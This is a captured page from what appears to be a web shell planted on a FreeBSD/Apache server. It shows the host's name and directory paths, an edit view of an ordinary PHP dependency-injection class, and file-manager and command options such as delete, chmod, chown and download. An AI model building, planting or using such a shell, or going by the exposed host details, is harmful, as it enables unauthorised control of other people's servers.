TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
teze
teze
src
bc2
di
src
DI
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/teze/teze/src/bc2/di/src/DI/DependencyBuilder.php
<?php namespace Teze\DI; /** * Class DependencyBuilder * @package Teze\DI * @deprecated */ class DependencyBuilder extends \Nette\Object { private $classes = array(); private $variables = array(); private $classBuilder; public function __construct(IClassBuilder $classBuilder) { $this->classBuilder = $classBuilder; } public function setParameters(array $variables) { $this->variables = $variables; } public function setDependences(array $dependences) { $this->classes = $dependences; return $this; } public function create($className) { $parent = get_parent_class($className); if ($parent) { $dependences = $this->create($parent); } else { $dependences = array(); } if (isset($this->classes[$className])) { foreach ($this->classes[$className] as $key => $value) { if (isset($dependences[$key]) && $value !== $dependences[$key]) { throw new \InvalidArgumentException('Can not redeclare dependences ' . $key . ' for ' . $className); // if (is_scalar($value) && substr($value, -11) == ' !important') // $value = trim(substr($value, 0, -11)); } // create factory and interface if not exist $split = explode('\\', $className); unset($split[count($split) - 1]); $namespace = implode('\\', $split); if (is_array($value) && isset($value['factory']) && is_array($value['factory']) && isset($value['factory']['new'])) { $classFullName = $value['factory']['new']; if (!class_exists($classFullName) && class_exists($namespace . '\\' . $classFullName)) { $classFullName = $namespace . '\\' . $classFullName; } if (!class_exists($classFullName)) throw new \InvalidArgumentException('Class ' . $classFullName . ' does not exist.'); $factoryClass = $classFullName . 'Factory'; if (!class_exists($factoryClass)) $this->classBuilder->buildClass($classFullName); $dependences[$key]['factory']['new'] = $classFullName; } else { $dependences[$key] = $value; } // variables if (is_scalar($value)) { $matches = array(); preg_match_all('#%[^%]*%#', $value, $matches); if (count($matches)) { foreach ($matches[0] as $parameter) { $parameter = substr($parameter, 1, -1); $split = explode('.', $parameter); $counter = 0; foreach ($split as $var) { if (!$counter) $replace = $this->variables[$split[$counter]]; else $replace = $replace[$split[$counter]]; $counter++; } if ($value == '%' . $parameter . '%' && is_array($replace)) $value = $replace; else $value = strtr($value, array('%' . $parameter . '%' => $replace)); } } $dependences[$key] = $value; } } } return $dependences; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Config.php
326
0644
2016-03-05 11:29:08
Unknown/Unknown
Dependences.php
2002
0644
2016-03-05 11:29:08
Unknown/Unknown
PresenterFactory.php
923
0644
2016-03-05 11:29:08
Unknown/Unknown
ClassBuilder.php
1659
0644
2016-03-05 11:29:07
Unknown/Unknown
IFactory.php
222
0644
2016-03-05 11:29:08
Unknown/Unknown
ServiceContainer.php
1611
0644
2016-03-05 11:29:08
Unknown/Unknown
InterfaceTemplate.phpt
193
0644
2016-03-05 11:29:08
Unknown/Unknown
Validator.php
2361
0644
2016-03-05 11:29:08
Unknown/Unknown
CompileException.php
287
0644
2016-03-05 11:29:08
Unknown/Unknown
IClassBuilder.php
253
0644
2016-03-05 11:29:08
Unknown/Unknown
FactoryClassTemplate.phpt
499
0644
2016-03-05 11:29:07
Unknown/Unknown
DependencyException.php
291
0644
2016-03-05 11:29:08
Unknown/Unknown
DependencyBuilder.php
2868
0644
2016-03-05 11:29:08
Unknown/Unknown
Container.php
11690
0644
2016-03-05 11:29:07
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin